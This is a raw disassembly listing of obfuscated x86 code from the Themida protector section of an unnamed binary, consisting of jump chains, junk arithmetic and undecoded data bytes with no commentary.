Themida_:0053C496j add esp, 4 mov edx, edi push dword ptr [esp] pop edi jmp loc_53DD5A ; --------------------------------------------------------------------------- dd 81D50158h, 0BF19EEEDh, 0E5E95A1Ch, 8B000000h, 0C481241Ch dd 4, 13D1E9h, 24E95F00h, 290000A9h, 3247E9D1h, 0F3300000h dd 0FFFA2CE9h, 0DEE95DFFh, 66000034h, 8124048Bh, 4ECh dd 240C8900h, 4B01E9h db 0 ; --------------------------------------------------------------------------- loc_538409: ; CODE XREF: Themida_:0053A34Bj mov esi, 43A356BDh xor ebp, esi pop esi sub esi, ebp pop ebp xchg esi, [esp] pop esp mov [esp], edx jmp loc_541EB8 ; --------------------------------------------------------------------------- dd 0E9FE015Eh, 7A21h, 240C8B66h, 1B92E9h db 0 ; --------------------------------------------------------------------------- loc_538431: ; CODE XREF: Themida_:00542C18j add eax, 4 add eax, 4 push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_53C378 ; --------------------------------------------------------------------------- dw 2489h dd 24048124h, 4, 8124048Fh, 42404h, 2C8B0000h, 4C48324h dd 7D94E9h, 0F7DF8700h, 38EF81D7h, 81105764h, 2AD916EFh dd 623905D2h, 0F80151E4h, 0E462392Dh, 243C8B51h, 5704C483h dd 0B57ECEBFh, 9812E972h db 2 dup(0) ; --------------------------------------------------------------------------- loc_538492: ; CODE XREF: Themida_:0053AABCj add ebp, edx pop edx add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_53BDCF ; --------------------------------------------------------------------------- loc_5384A9: ; CODE XREF: Themida_:0053DE6Bj sub ebx, 4E693C3Eh jmp loc_53E427 ; --------------------------------------------------------------------------- dd 3304C583h, 2C31242Ch, 242C3324h, 68C80F5Ch, 2D93h, 0E9240489h dd 0FFFFE8F2h, 5359EE88h, 0D888F388h, 5394E9h db 0 ; --------------------------------------------------------------------------- loc_5384DD: ; CODE XREF: Themida_:00541EB3j inc dword ptr [edx+38h] jmp loc_53CEAA ; --------------------------------------------------------------------------- db 68h, 39h, 36h dd 34890000h, 4BE24h, 0F3010000h, 4C3835Eh, 8B241C87h dd 54532424h, 4C3815Bh, 0E9000000h, 0A3E2h, 4B8h, 58C10100h dd 34E8E9h db 0 ; --------------------------------------------------------------------------- loc_538519: ; CODE XREF: Themida_:0053B966j add esp, 4 push 6EC1h jmp loc_5411CE ; --------------------------------------------------------------------------- aRhax db 'RhМx',0 align 4 dd offset dword_433EA8+0A41h dd 81E78900h, 4C7h, 31BA5200h, 0E905A101h, 9D24h ; --------------------------------------------------------------------------- loc_538544: ; CODE XREF: Themida_:0053AC46j mov eax, 71993027h jmp loc_5386D8 ; --------------------------------------------------------------------------- aMsfd db '╛И■d',0 align 4 a5KjsV db '╨5\[kJИ{╒',0 dw 8F00h dd 248B2404h, 0E930FF24h, 597Eh, 4BB53h, 0D9010000h, 18B7685Bh dd 0C890000h, 2474FF24h, 1B97E904h, 814B0000h, 0DD4040E3h dd 0AA0E973h db 2 dup(0) ; --------------------------------------------------------------------------- loc_538592: ; CODE XREF: Themida_:00541245j mov ecx, 0 jmp loc_538AA2 ; --------------------------------------------------------------------------- loc_53859C: ; CODE XREF: Themida_:005423EDj add esp, 4 shr ecx, 0 or eax, eax jmp loc_53E5A2 ; --------------------------------------------------------------------------- loc_5385A9: ; CODE XREF: Themida_:0053E3AAj mov [edi+eax*4+1], dh pop edx mov ebx, [esp] add esp, 4 jmp loc_5380FA ; --------------------------------------------------------------------------- loc_5385BC: ; CODE XREF: Themida_:0053CEA5j pop edi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_537199 ; --------------------------------------------------------------------------- a13SK db '1,$3,$И╫K',0 dw 8100h dd 537952E5h, 2EB85078h, 0E955FD19h, 0A6Dh ; --------------------------------------------------------------------------- loc_538600: ; CODE XREF: Themida_:00542C2Fj pop edx push edi jmp loc_53D9DB ; --------------------------------------------------------------------------- db 59h dd 0B60F66h, 4DB46866h, 9F8BE9h db 0 ; --------------------------------------------------------------------------- loc_538615: ; CODE XREF: Themida_:0053D129j add ecx, 355B662Ch jmp loc_53BF53 ; --------------------------------------------------------------------------- dd 240C8B66h, 8DE6E9h, 68F78100h, 816DF237h, 25D91EC7h dd 0E9F801F5h, 2568h, 5995F381h, 0EB811DC0h, 30A01ED1h dd 7531E9h db 0 ; --------------------------------------------------------------------------- loc_53864D: ; CODE XREF: Themida_:00539913j xor [esp], eax xor eax, [esp] jmp loc_53FC23 ; --------------------------------------------------------------------------- loc_538658: ; CODE XREF: Themida_:0053F092j mov eax, 4E0D3782h shr eax, 7 jmp loc_53D7CD ; --------------------------------------------------------------------------- db 1, 0FAh, 5Fh dd 3304EA83h, 14312414h, 1E8CE924h, 0D050000h, 5A3D9347h dd 8B240487h, 0C4832424h, 37B5E904h, 895C0000h, 0BD552424h dd 4, 4246C01h, 2434FF5Dh, 4C4835Eh, 4C681h, 0BD550000h dd 2, 2C8BEE01h, 4C48124h, 87000000h, 248B2434h, 89EFE924h dd 50590000h, 0FFFE43E9h, 68575AFFh, 56147E8Bh, 0E9243C8Bh dd 6C6Ah ; --------------------------------------------------------------------------- loc_5386D8: ; CODE XREF: Themida_:00538549j mov esi, eax pop eax push ebp mov ebp, 4E2F7CC6h xor esi, ebp jmp loc_53CBB8 ; --------------------------------------------------------------------------- dd 24048B66h, 4EC81h, 34890000h, 7D056824h, 0E9540000h dd 4264h, 5959CB00h, 0FAE9D820h, 55FFFFEAh, 4BDh, 5DEE2900h dd 8727E9h, 24048F00h, 6624248Bh, 66241489h, 97E99C50h dd 64FFFFE6h, 3EE9028Fh, 66000018h, 5302B60Fh, 0C381E389h dd 4, 0E904EB83h, 588Bh, 0E9243433h, 4022h ; --------------------------------------------------------------------------- loc_538750: ; CODE XREF: Themida_:0053CA27j add esp, 4 add edi, ecx pop ecx add edi, 4 xchg edi, [esp] pop esp push 5AC0h jmp loc_53F2E2 ; --------------------------------------------------------------------------- db 80h, 0C2h, 7Dh dd 285AD000h, 29CD68D8h, 2DE90000h, 80000085h, 4AE9A4F3h dd 8100002Bh, 3554AEEh, 2BE94642h, 8900008Bh, 9DB82404h dd 0E90F593Dh, 0FFFFF146h, 24048B66h, 565A5452h, 717A07BEh dd 3EEC157h, 5457EED1h, 4C7815Fh, 0E9000000h, 3832h, 8B240C87h dd 0B8502424h, 0D9129F3h, 1EB82D48h, 0C2019B15h, 2CBD5558h dd 0F768840Fh, 66C581DDh, 812BCC55h, 0E73B21EDh, 6EDC103h dd 3BEBED81h, 0EA29CDDCh, 1DBE565Dh, 0E90B4423h, 9BF2h dd 86E9CE89h db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_538807: ; CODE XREF: Themida_:0054186Cj pop ebx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_541770 ; --------------------------------------------------------------------------- loc_53881D: ; CODE XREF: Themida_:00536E41j mov edx, 32920D6Fh neg edx jmp loc_536F0C ; --------------------------------------------------------------------------- loc_538829: ; CODE XREF: Themida_:00540E95j mov ebp, 7BA47257h jmp loc_53A343 ; --------------------------------------------------------------------------- loc_538833: ; CODE XREF: Themida_:0053B0E5j add al, 0F7h sub al, ch push edx mov dh, 0D6h add dh, 6Fh jmp loc_5416F6 ; --------------------------------------------------------------------------- dw 0B551h dd 66D5F6BEh, 30A1B450h, 124CE9E5h, 0E9530000h, 8048h dd 9C242CD3h, 0FFE561E9h, 0B5E981FFh, 0F726457Bh, 6FC181D9h dd 0E92B1F95h, 5B1Dh, 0E9241C8Bh, 1CD8h, 8103E3C1h, 1D5D19C3h dd 0F194E910h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53888A: ; CODE XREF: Themida_:0053F856j mov edx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub ebx, 2129032Dh jmp loc_53C17B ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89240489h, 405E0h, 0C0830000h, 24048704h, 0E924248Bh dd 1E83h ; --------------------------------------------------------------------------- loc_5388CC: ; CODE XREF: Themida_:0053F08Aj mov [esp], ecx push 6FF37447h pop ecx sub ecx, 6FF37448h push edx jmp loc_54225F ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 3824248Bh, 0D3E99CC1h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5388EF: ; CODE XREF: Themida_:00541659j xor ah, dh jmp loc_53FED0 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4EC8124h, 89000000h, 5D54242Ch, 4C581h, 0C5810000h dd 4, 8B242C87h, 0A7E92424h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53891B: ; CODE XREF: Themida_:0053A0C3j push edx mov edx, esp sub esp, 4 mov [esp], esi jmp loc_539542 ; --------------------------------------------------------------------------- dd 4C481h, 0E9550000h, 1182h ; --------------------------------------------------------------------------- loc_538938: ; CODE XREF: Themida_:0053F215j push esi mov esi, 1BE60B0Eh and esi, 4C69518Eh and esi, 49A41AE1h dec esi or esi, 27070F3Ch xor esi, 5D2BA679h not esi push ebx mov ebx, 9762BF97h xor esi, ebx jmp loc_53C293 ; --------------------------------------------------------------------------- dw 8158h dd 4C4h, 5BF80000h, 39706866h, 24148966h, 3E5B68h, 240C8900h dd 885050B1h, 58C688C8h, 0FFF22EE9h, 81DD01FFh, 0D36559EDh dd 522E910h, 48F0000h, 24048124h, 4, 82B1E9h db 0 ; --------------------------------------------------------------------------- loc_5389A9: ; CODE XREF: Themida_:0053B1B3j mov edi, [esp] add esp, 4 mov edx, [esp] jmp loc_53F677 ; --------------------------------------------------------------------------- db 5Fh dd 10A2C781h, 0F83179C5h, 0E9243C8Bh, 128Ch, 238EE956h dd 0CD800000h, 9493E974h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5389D6: ; CODE XREF: Themida_:0053FDA6j add esp, 4 add eax, 15BC04D0h add eax, edi sub eax, 15BC04D0h add eax, 57867E72h push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 jmp loc_53B710 ; --------------------------------------------------------------------------- loc_5389FC: ; CODE XREF: Themida_:0053D6BAj mov ecx, [esp] add esp, 4 push edx mov edx, 70934EB6h push ebp mov ebp, 8012D28h neg ebp add ebp, 0E1A9F6Ch xor edx, ebp mov ebp, [esp] add esp, 4 sub ecx, edx pop edx jmp loc_53F6B0 ; --------------------------------------------------------------------------- loc_538A29: ; CODE XREF: Themida_:00539C2Ej add ebx, ecx mov ecx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp mov ebp, 71141032h sub ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_54249E ; --------------------------------------------------------------------------- aAAaBfqG db '─б═─цBfQ╣ё',0 dd 285966EBh, 0A3EB80D3h, 0E942EB80h, 5F4h, 81E18951h dd 4C1h, 9712E900h, 5ABE0000h, 0E92BC517h, 4A6h, 61B268h dd 4D0E900h, 4BB0000h, 81000000h, 8441BDE9h, 5B9DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_538AA2: ; CODE XREF: Themida_:00538597j sub ecx, eax mov eax, ecx jmp loc_53A19D ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFE312h, 81E78957h, 4C7h, 4EF8300h, 0E9243C87h, 0FFFFE450h dd 59243C86h, 8B66C888h, 0C481240Ch, 2, 32240430h, 4302404h dd 0E2E0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_538AE2: ; CODE XREF: Themida_:0053CC8Ej add esp, 4 jmp loc_536E40 ; --------------------------------------------------------------------------- dw 0BA52h dd 512B46BEh, 63EACA81h, 0DAF771B0h, 81DAF74Ah, 373925F2h dd 5AD60968h, 0A00EE951h, 835D0000h, 348904ECh, 96685724h dd 5F342C4Ah, 0D5F7EF87h, 0EF81EF87h, 0CBD3B565h, 15FFE89h dd 24348BF5h, 4C481h, 0E9530000h, 767h db 8Bh, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_541B68 ; --------------------------------------------------------------------------- db 0FEh dd 5EAC0C2h, 22D7E9h, 24048700h, 2404895Ch, 815E5456h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 59BA2414h, 420C3A0Eh dd 0FFF3E1E9h, 0FBD55FFh, 0BA231A06h, 231A060Bh, 15DEA31h dd 0C1835AD1h, 240C8704h, 4C4815Ch, 0E9000000h, 478Eh dd 8904C483h, 0E599E9FAh, 0BA52FFFFh, 78206D7Ch, 815AD301h dd 630899C3h, 2434FF7Fh, 8E50E9h, 3ECE8100h, 466F960Ch dd 0C61B850h, 3B353DE2h, 2911B1FDh, 0F38958C6h, 0FAC3815Eh dd 0C1300238h, 0CB8102EBh, 3AE321BBh, 0CBB95143h, 21083B0Dh dd 29E959CBh db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_538BFB: ; CODE XREF: Themida_:0053AAF9j add esp, 4 xor edx, 3A611DEBh mov eax, edx pop edx push eax sub dword ptr [esp], 58B13486h pop ebx add ebx, 58B13486h pop eax jmp loc_53D12E ; --------------------------------------------------------------------------- db 68h dd 2, 0B4C38159h, 817C824Ch, 0DE4987EBh, 81CB016Eh, 0DE4987C3h dd 0B4EB816Eh, 597C824Ch, 8B241C87h, 0FF662424h, 0E99C240Ch dd 0FFFFE172h, 66E1F65Ch, 66CCB60Fh, 667D0C68h, 66240C89h dd 66C8B60Fh, 57E99C51h, 0B7FFFFE1h, 9D6AE963h, 81590000h dd 0A45648EBh, 1EB8108h, 81000000h, 0FCBE91EBh, 5BDF0164h dd 4C781h, 3C870000h, 0E95A5C24h, 0FFFFE12Ah ; --------------------------------------------------------------------------- loc_538C98: ; CODE XREF: Themida_:0053BF4Ej add eax, edi jmp loc_53B1A4 ; --------------------------------------------------------------------------- loc_538C9F: ; CODE XREF: Themida_:0053FE2Dj pop esi and ecx, edi push dword ptr [esp] pop edi add esp, 4 shr ecx, 7 jmp loc_53FC56 ; --------------------------------------------------------------------------- db 56h, 54h, 5Eh dd 4C681h, 0C6830000h, 74FF5604h, 8F5E0424h, 815C2404h dd 4ECh, 24348900h, 0FF2434FFh, 0F3E92434h, 83000015h dd 0C8704C4h, 89665C24h, 0D7E92404h, 81FFFFE0h, 0F553E8CAh dd 0C2814A2Ah, 0D108841Dh, 0FFF10FE9h, 243C89FFh, 0FC3884BFh dd 9AC7814Fh, 50B5D746h, 0C189F889h, 243C8B58h, 4C481h dd 0C8010000h, 51240C8Bh, 541AE9h, 24048700h, 0D0BA525Ch dd 0F748FA7Eh, 32C281DAh, 318779F4h, 51CBE9D0h, 8B660000h dd 1CE92404h, 81000069h, 4C4h, 5843E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_538D52: ; CODE XREF: Themida_:00541039j add ebx, esi jmp loc_541C4F ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 57000000h, 4BFh, 8BFA0100h, 42E9243Ch, 4000079h, 0C8B667Eh dd 2C48324h, 2B1D68h, 24148900h, 0CEFE3BB6h, 50FFEE80h dd 0FE94B252h, 7EA80C2h, 1AE9D088h, 8B000089h, 40E92424h dd 33000047h, 34312434h, 24343324h, 8124248Bh, 6D33242Ch dd 0CEE97B76h, 0FF000018h, 0E95A2434h, 980Ah, 348BF201h dd 4C48324h, 2C281h, 14330000h, 24143124h, 0E9241433h dd 1232h, 0C381E389h, 4, 49685357h, 8B011452h, 0C483241Ch dd 57554B04h, 7228E9h, 246C8100h, 52652004h, 2434FF3Bh dd 4C4815Ah, 53000000h, 167C41BBh, 245C290Eh, 4015B04h dd 24048124h, 0E167C41h, 759DB951h, 44816FFEh, 79290424h dd 0EDE9569Ch db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_538E33: ; CODE XREF: Themida_:0053C416j mov ebx, 529143AEh xor ecx, ebx pop ebx and [edi+20h], ecx mov ecx, [esp] add esp, 4 shl dword ptr [edi+20h], 4 or dword ptr [edi+20h], 1FE40D09h add dword ptr [edi+20h], 0E01970C8h jmp loc_542416 ; --------------------------------------------------------------------------- db 68h dd 42A82F32h, 4D05685Fh, 1C890000h, 0BB24h, 0EB810000h dd 0C01C80h, 0CE9FB29h, 6600001Ah, 5224148Bh, 5EACE9h dd 24048F00h, 518EE9h, 0E9EF0100h, 76D1h, 489665Ch, 0DF24E924h dd 0C701FFFFh, 0B8EF8158h, 0E93DF249h, 78C3h, 4804C483h dd 0E135D0F7h, 0E92DBB80h, 3751h, 81241C8Bh, 4C4h, 4BF5700h dd 1000000h, 20BEE9FDh, 2C890000h, 7CFE6824h, 4AE90000h dd 0B8000002h, 628214Dh, 40E9E831h, 5C000086h, 39A76866h dd 24148966h, 3A0F68h, 6C8EE900h, 79BB0000h, 0E900CD20h dd 0FFFFF67Eh ; --------------------------------------------------------------------------- loc_538F08: ; CODE XREF: Themida_:0053A862j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5421CD ; --------------------------------------------------------------------------- aMhuc db '╛hНC',0 dd 24148900h, 668DB151h, 3725E950h, 0C6810000h, 0D43AE8A8h dd 9AB0E9h, 81C20100h, 0DB29A5C2h, 55E95866h, 8900009Ah dd 0BE958C5h, 8B000063h, 14892424h, 0D4BB5324h, 8963D715h dd 1B9CE9DAh, 14890000h, 7C6E924h, 0C3810000h, 4, 5C241C87h dd 8B24048Fh, 0F7662424h, 0EC8155E1h, 4, 83242489h, 5D042404h dd 3F7868h, 24048900h, 8904EC83h, 4F68243Ch, 8B0DC82Dh dd 0C483243Ch, 7EFC104h, 97D0F797h, 585EF81h, 0EF81125Ch dd 0ED886A1Ch, 0E95FF889h, 5F97h, 0FD8850B7h, 83241C8Bh dd 0ED8004C4h, 47E950A1h, 83000042h, 1DE904C7h, 59000020h dd 8304C483h, 896602ECh, 0B652240Ch, 0FECEFE7Eh, 0E9C6FECEh dd 56C2h, 48C768h, 24048900h, 2B8h, 0FFC50100h, 81582434h dd 4C4h, 242C3300h, 3447E9h db 0 ; --------------------------------------------------------------------------- loc_539015: ; CODE XREF: Themida_:00541501j push 235Dh mov [esp], edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_53F159 ; --------------------------------------------------------------------------- dw 0F381h aSzSqg db '!:Аz)ыИО┐',0 dw 6600h dd 0E9240C8Bh, 7B08h, 286497BFh, 4CCF8152h, 81002029h dd 373E6CEFh, 65C7813Eh, 0E93AAA6Dh, 54F6h, 5724148Bh dd 515EE9h, 0E9C50100h, 6C4Ch, 86C6815Bh, 5F01F84h, 38E13A4Dh dd 3AE9F029h, 31000001h, 0C33240Ch, 9867E924h, 895C0000h dd 74FF2434h, 348B0424h, 4C48124h, 8F000000h, 0D35C2404h dd 13E92424h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5390AF: ; CODE XREF: Themida_:005374CBj push ecx jmp loc_53E9B3 ; --------------------------------------------------------------------------- db 31h, 0C5h, 8Bh dd 5FE92404h, 87000017h, 835C2404h, 0C8702C1h, 24248B24h dd 124AE9h, 3091BF00h, 7C3113F3h, 5B5F0424h, 0FFEF22E9h db 0FFh ; --------------------------------------------------------------------------- loc_5390E1: ; CODE XREF: Themida_:0053DDEEj push ecx push eax mov eax, 4 push eax jmp loc_539C1F ; --------------------------------------------------------------------------- dw 0B652h dd 88CFE97Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5390F6: ; CODE XREF: Themida_:00542DB0j push ebp sub esp, 4 mov [esp], ebx push 731C036Eh mov ebx, [esp] add esp, 4 sub ebx, 0FFFFFFFFh push ebx sub esp, 4 mov [esp], eax jmp loc_53E984 ; --------------------------------------------------------------------------- loc_539120: ; CODE XREF: Themida_:00537FFEj add ebp, ebx pop ebx push edx jmp loc_53A831 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 1FB668h, 242C8900h, 2D42EDBDh, 0C5814529h, 0D6D2C10Eh dd 0E95DEB89h, 5F6Ah, 0C688DD34h, 0DDDCE958h, 6F68FFFFh dd 0E9417D52h, 0FFFFE9E3h, 51243489h, 95CEE9h, 240C8900h dd 238AE957h, 0C7810000h, 4, 5C243C87h, 8904EC83h, 0EEB62414h dd 0E6C0C6FEh, 717CE903h, 14F60000h, 0FE5B6624h, 36F380CBh dd 285BDA88h, 24148BD3h, 8004C483h, 0B60F30EBh, 87048FC0h dd 0FFDC15E9h, 0E95854FFh, 1B73h ; --------------------------------------------------------------------------- loc_5391B4: ; CODE XREF: Themida_:0053DF93j mov esp, [esp] shr eax, 0Ah xor eax, ecx jmp loc_540E1A ; --------------------------------------------------------------------------- aMS8szs db '-M:А8Иz≤',0 dw 0BD00h dd 3FFE4B04h, 0E905E5C1h, 7F98h, 0BF243C89h, 254F11D4h dd 6A36E9h, 0DBD8E900h, 31ADFFFFh, 13568D8h, 0C890000h dd 25F76824h, 55907AFh, 40B31E6Fh, 5A14E9h, 0D830AC00h dd 0B4505166h, 30A6B18Ah, 24048BE1h, 4C481h, 7E2C0000h dd 3FB15166h, 5966C828h, 0C828D004h, 0A5E9D02Ch, 0FF000087h dd 1E92434h, 81000070h, 4C1h, 4C18100h, 87000000h, 575C240Ch dd 76CC6853h, 34FF1A3Dh, 241C8B24h, 4C481h, 89510000h dd 1BA8E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_539262: ; CODE XREF: Themida_:0053B111j mov eax, 7BAB713Bh sub eax, 700D56B1h jmp loc_53E534 ; --------------------------------------------------------------------------- aB2sxr db '│е>',27h,'/2ИX░',0 align 4 dd 0BD242C89h, 3A1C4E1Bh, 6519ED81h, 0DDF72721h, 2858ED81h dd 0A6E92844h, 29000092h, 0E1E958C1h, 0BB000097h, 2, 6CBE9h db 0 ; --------------------------------------------------------------------------- loc_5392A9: ; CODE XREF: Themida_:0053818Fj sub eax, 59323692h jmp loc_5418D9 ; --------------------------------------------------------------------------- db 5Ch dd 0E904EC83h, 0FFFFFFC0h, 0B753EDD0h, 7FE7803Dh, 8089EF80h dd 0FD3049EFh, 0FFC5805Bh, 0F580D5F6h, 0E6EE803Dh, 0C680EE00h dd 0F03059E6h, 8124148Bh, 4C4h, 0FC33000h, 8B66C0B6h, 78682414h dd 89000006h, 0E189240Ch, 3DC4B850h, 5C0D1185h, 2D65BD23h dd 22CC48CFh, 35D0F748h, 0AD0F08F7h, 0FBE4E953h, 0D301FFFFh dd 2813E9h, 24248900h, 4240483h, 1435E9h db 0 ; --------------------------------------------------------------------------- loc_53932D: ; CODE XREF: Themida_:00537DA2j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_539D32 ; --------------------------------------------------------------------------- loc_53933B: ; CODE XREF: Themida_:0053AB6Bj push ebp mov ebp, 604E654Bh add ebx, ebp mov ebp, [esp] add esp, 4 add ebx, 74825E6Ah jmp loc_53C02A ; --------------------------------------------------------------------------- loc_539354: ; CODE XREF: Themida_:00542342j xor ebx, eax jmp loc_53A248 ; --------------------------------------------------------------------------- db 89h dd 4BE56E7h, 1000000h, 0B8505EF7h, 4, 8758C701h, 575C243Ch dd 0F868E768h, 243C8B0Bh, 0E904C483h, 0FFFFF644h, 8704EA83h dd 1BE92414h, 0FFFFFFEEh, 0E9042474h, 4941h, 0B95DE831h dd 0AA02EF5h, 9BBAE9h, 0B8505700h, 0B623FFCh, 0DE95548h dd 83000012h, 1C8704C3h, 97A4E924h, 815D0000h, 4C4h, 9A21E900h dd 0E95F0000h, 7615h, 240C8B66h, 4EC81h, 0A8E90000h, 5B000006h dd 5624048Bh, 0C681E689h, 4, 73BBE9h, 0EC835800h, 240C8904h dd 85A8E9h, 243C8900h, 6B0FE9h, 0C8B6600h, 2C48124h, 4000000h dd 2434FFF8h, 3799E9h, 48B6600h, 8B545624h, 89522434h dd 4C281E2h, 81000000h, 4C2h, 814BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_539436: ; CODE XREF: Themida_:00542310j or edi, 5D0C6A75h not edi or edi, 28B4239Ch sub edi, 62B56A4Ah jmp loc_53F66D ; --------------------------------------------------------------------------- db 89h dd 0ECB850E5h, 4820CB55h, 6B70B951h, 0C1815094h, 37D24CE9h dd 5157D9F7h, 7C6A9EB9h, 0D2C18105h, 89151E9Dh, 0CF8159CFh dd 62465865h, 0C781DFF7h, 2E69180Fh, 30C6CF81h, 0E94F6B85h dd 15F5h, 0E904C483h, 7E1Fh, 4C4EB0BEh, 7E9522Ah db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5394A3: ; CODE XREF: Themida_:0053F576j add ebp, eax pop eax jmp loc_537F8D ; --------------------------------------------------------------------------- loc_5394AB: ; CODE XREF: Themida_:00542A9Aj shr eax, 12h xor eax, ecx push eax sub esp, 4 jmp loc_53F522 ; --------------------------------------------------------------------------- loc_5394B9: ; CODE XREF: Themida_:00537F9Ej pop edi shr eax, 5 shr eax, 3 inc eax xor eax, 0A41775h jmp loc_53B2C9 ; --------------------------------------------------------------------------- db 81h dd 9085F4EAh, 5AD08935h, 0E958C629h, 3A49h, 0FFD8E1E9h dd 4BFFFh, 0FD890000h, 37EE815Fh, 17BEC45h, 37C681EEh dd 5D7BEC45h, 8B243487h, 14332424h, 24143124h, 5C241433h dd 0E9241489h, 0BB8h, 0CE93EB1h, 5000095h, 32F9473Eh, 8C6E1825h dd 5D8F707h, 0C20BFD7h, 5758C321h, 57FF7FBFh, 3C8E959h dd 81530000h, 4ECh, 1197E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_539542: ; CODE XREF: Themida_:00538927j mov esi, 4 jmp loc_540747 ; --------------------------------------------------------------------------- dd 54E95352h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_539553: ; CODE XREF: Themida_:00542B76j sub esp, 4 mov [esp], esi xchg ecx, [esp] not ecx xchg ecx, [esp] pop esi or esi, 49E84A8Bh add esi, 1 jmp loc_541A29 ; --------------------------------------------------------------------------- db 52h dd 42474FFh, 77DFE9h, 0D1E95B00h, 81FFFFE5h, 0E00473C5h dd 0EF89580Bh, 7910E95Dh, 0E5890000h, 4C581h, 0B9510000h dd 2, 5559CD01h, 42474FFh, 24048F5Dh, 0FFE1C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5395B1: ; CODE XREF: Themida_:0053D90Fj xor esi, eax mov eax, [esp] add esp, 4 add edi, esi jmp loc_53C493 ; --------------------------------------------------------------------------- loc_5395C0: ; CODE XREF: Themida_:0053F75Ej add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] or edx, eax shl edx, 1 push edx push ecx mov ecx, 24h push ecx pop edx pop ecx add edx, 5E61FB9h add edx, edi sub edx, 5E61FB9h jmp loc_537617 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 4EC81h, 2C890000h, 815D5424h, 4C5h, 4ED8100h, 87000000h dd 895C242Ch, 4812424h, 424h, 0B1685E00h, 8900004Fh, 4BB241Ch dd 81000000h, 311DD8C6h, 227DE97Fh, 58540000h, 405h, 4B95100h dd 1000000h, 70E959C8h, 87FFFFFAh, 295C243Ch, 50042454h dd 3A5E9h, 24248B00h, 475AE9h, 0F8F68100h, 8978AAC6h, 0E7D15EF7h dd 5E7DE781h, 0F7815B03h, 410F1C19h, 295FFB29h, 66E952D3h dd 29000000h, 0E0FCE9FEh, 835BFFFFh, 1EE904C4h, 68000097h dd 709976C4h, 5036E95Ah, 0EE810000h, 75AF2B25h, 2C07E9h dd 3C8B5400h, 4C48124h, 55000000h, 4BDh, 0E9EF0100h, 43CEh dd 0FFD6F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5396C9: ; CODE XREF: Themida_:0053EA05j and eax, ebp pop ebp or edx, eax jmp loc_5377F9 ; --------------------------------------------------------------------------- loc_5396D3: ; CODE XREF: Themida_:0053D0E8j add eax, edx add eax, 6041DA1h push esi jmp loc_542DDC ; --------------------------------------------------------------------------- loc_5396E0: ; CODE XREF: Themida_:00542DD7j xchg edi, [esp] pop esp push ecx mov eax, [esp] jmp loc_53DE0C ; --------------------------------------------------------------------------- db 0BAh, 49h, 40h dd 0D301130Dh, 2434FF5Ah, 819BE9h, 0C8B6600h, 736B6824h dd 34890000h, 4EC8324h, 3E61E9h, 24048900h, 0E904EC83h dd 1B97h, 31240C33h, 0C33240Ch, 24248B24h, 0E9C8B70Fh dd 4868h, 90699BBAh, 9BC28170h, 0E9035743h, 5D4Fh, 0C82873B1h dd 0FFFCBCE9h db 0FFh ; --------------------------------------------------------------------------- loc_539749: ; CODE XREF: Themida_:0053C857j push ecx mov ecx, 63A466C3h add ebx, ecx mov ecx, [esp] add esp, 4 inc ebx push edx mov edx, 6197384Bh add ebx, edx pop edx push ebp mov ebp, 413B34F0h not ebp push ebp not dword ptr [esp] pop ebp jmp loc_53B1CA ; --------------------------------------------------------------------------- db 86h dd 30D7F6F9h, 30CF30F9h, 0E9CA88F9h, 5641h, 0FEE9EE30h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_53978B: ; CODE XREF: Themida_:0053B71Aj add edi, 589D658Eh shl edi, 6 shr edi, 8 shl edi, 4 add edi, 0D8CCB84h mov edx, edi pop edi and edx, 0C5C2E04h jmp loc_53F848 ; --------------------------------------------------------------------------- dd offset asc_5AF028 ; "ллллллллллллллллллллллллллллллллллллллл"... dw 81D8h dd 4ECh, 240C8900h, 0E80090B5h, 0E0686659h, 14896638h dd 0E229E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5397CE: ; CODE XREF: Themida_:005370ACj mov edx, esp add edx, 4 sub edx, 4 